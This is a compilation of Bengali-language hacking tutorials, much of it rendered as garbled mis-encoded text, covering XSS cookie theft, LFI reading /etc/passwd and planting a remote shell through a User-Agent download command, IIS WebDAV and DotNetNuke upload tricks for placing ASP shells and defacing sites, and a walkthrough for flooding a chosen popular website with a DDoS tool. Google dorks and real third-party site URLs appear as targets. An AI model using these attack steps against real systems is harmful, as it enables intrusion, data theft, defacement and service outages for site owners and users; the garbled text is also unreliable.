XSS কতক
XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web
Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয
ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600
xss-threat3jpg
XSS Vulnerability and Injection
যাপ ১ Vulnerable মেব িািআট োমজ মবর করা
অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks
ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=
তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন
যাপ ২ Vulnerability পরীো করা
এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন
না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password
Vulnerability যীকষা কযা জনয দটি িকতত অচছছ
পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয
http2bpblogspotcom-
8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg
পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here
যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন
এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-
পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন
সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=
এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable
যাপ ৩ Malicious Scripts মদো
Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ
এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ
httpattackerSitemaliciousjs
এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ
এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ
িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent
Persistent XSS
এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage
Non-Persistent XSS
এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily
একজি হযাকার এিআ Vulnerability সদমে সক কমর
কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা
চছযফ াআচছটয Bypassing restriction
Session Hijacking Malware Attack
Website Defacement Dos attacks
কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর
শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম
অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে
যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক
LFI
যাকাযচছদয
একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র
Local File Inclusionঅজ
অনাচছদয
াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য
পরথচছভ
কতনচছচয PHP সকাডগচছরা
সদখনhellip
$page=$_GET[page] include($page)
gt
উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক
কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ
wwwmywebsitecomindexphppage=productsphp
অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম
এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র
wwwmywebsitecomindexphppage=mypagephp
এখাচছন
সদচছখন mypagephp াতাটি
াবব াচছয
সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-
Warning
include() [functioninclude] Failed opening mypagephp for
inclusion
তাচছর
এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd
এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
এখন
অভযা পাআচছর
পরচছফ
কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip
wwwmywebsitecomindexphppage=products
এখাচছন
একটা কতজকতন রকষয করন সম
php এয
য page=products যচছযচছছ
এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র
$page=$_GET[page]
include($pagelsquophplsquo)
gt
এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpassd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip
etcprofile
etcservices
etcpasswd
etcshadow
etcgroup
etcsecuritygroup
etcsecuritypasswd
etcsecurityuser
etcsecurityenviron
etcsecuritylimits
usrlibsecuritymkuserdefault
এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ
------------------------------------------------------------------------------------------
hellipএবার িঅমরা হযাসকিং মদেবhellip
Requirements
1) Site vulnerable to LFI ( httpwwwsitecom)
2) Remoteshell( httpwwwyourhostingurshelltxt)
3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher
4) Mozilla Firefox Browser
পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা
Google ―Dork
indexphphomepage=
indexphppage=
indexphpindex2=
allinurlindexphppage=
অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন
সমভন
allinurlsitephpsite=
এফায ডক গগচছর কতদচছয াচব কতদন
অভযা
কতনচছছয ভত একটি াআট কতনরাভ
httpwwwfilllpgcoukindexphppage=contactsphp
এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ
httpwwwfilllpgcoukindexphppage=null
তাচছর নীচছচয ভত সদখাচছফ
If you see a list of errors running down the page or missing content
(pictures text etc) then the site is vulnerable and we may continue
otherwise just move on to the next site
Now were going to try and connect to a file which we know exists on Linux
servers etcpasswd
Since indexphp has the rights to connect to a file like contactsphp its
possible that the administrator has forgottten to restrict its access to other
files including the files containing sensitive data
Were going to try to read the file etcpasswd which contains data
on root users etc
অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত
াকতয নীচছচয ভত
এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ
httpwwwfilllpgcoukindexphppage=etcpasswd
মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান
েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG
etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয
httpwwwfilllpgcoukindexphppage=procselfenviron
েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG
এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent
ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip
েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG
এফায
অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর
অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন
েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG
এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং
User-Agent টি এখাচছন সি করন User-Agent এয Tools
ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন
তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন
েসব মদেি http2bpblogspotcom-
kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG
এফায
Ctrl+F সচচছ
―disable_functions খচছজ সফয করন
disable_functions
| no value | no value
এখন
অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান
Edit করন
এফায ―User-Agent টি কতযফতব ন কচছয কতরখন
httpwwwsh3llorgegytxt -O shellphp)gt[
এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]
এফায
এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক
েসব মদেি http3bpblogspotcom-
SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG
কতকছ
সডচছভা
াআট কতরংক কতদরাভ
কতকছ
াআট LFI httppastebinca2385927
কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ
httpwwwyoutubecomwatchv=FP229bKm5v4
httpwwwyoutubecomwatchv=9W9qWAhwaTo
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
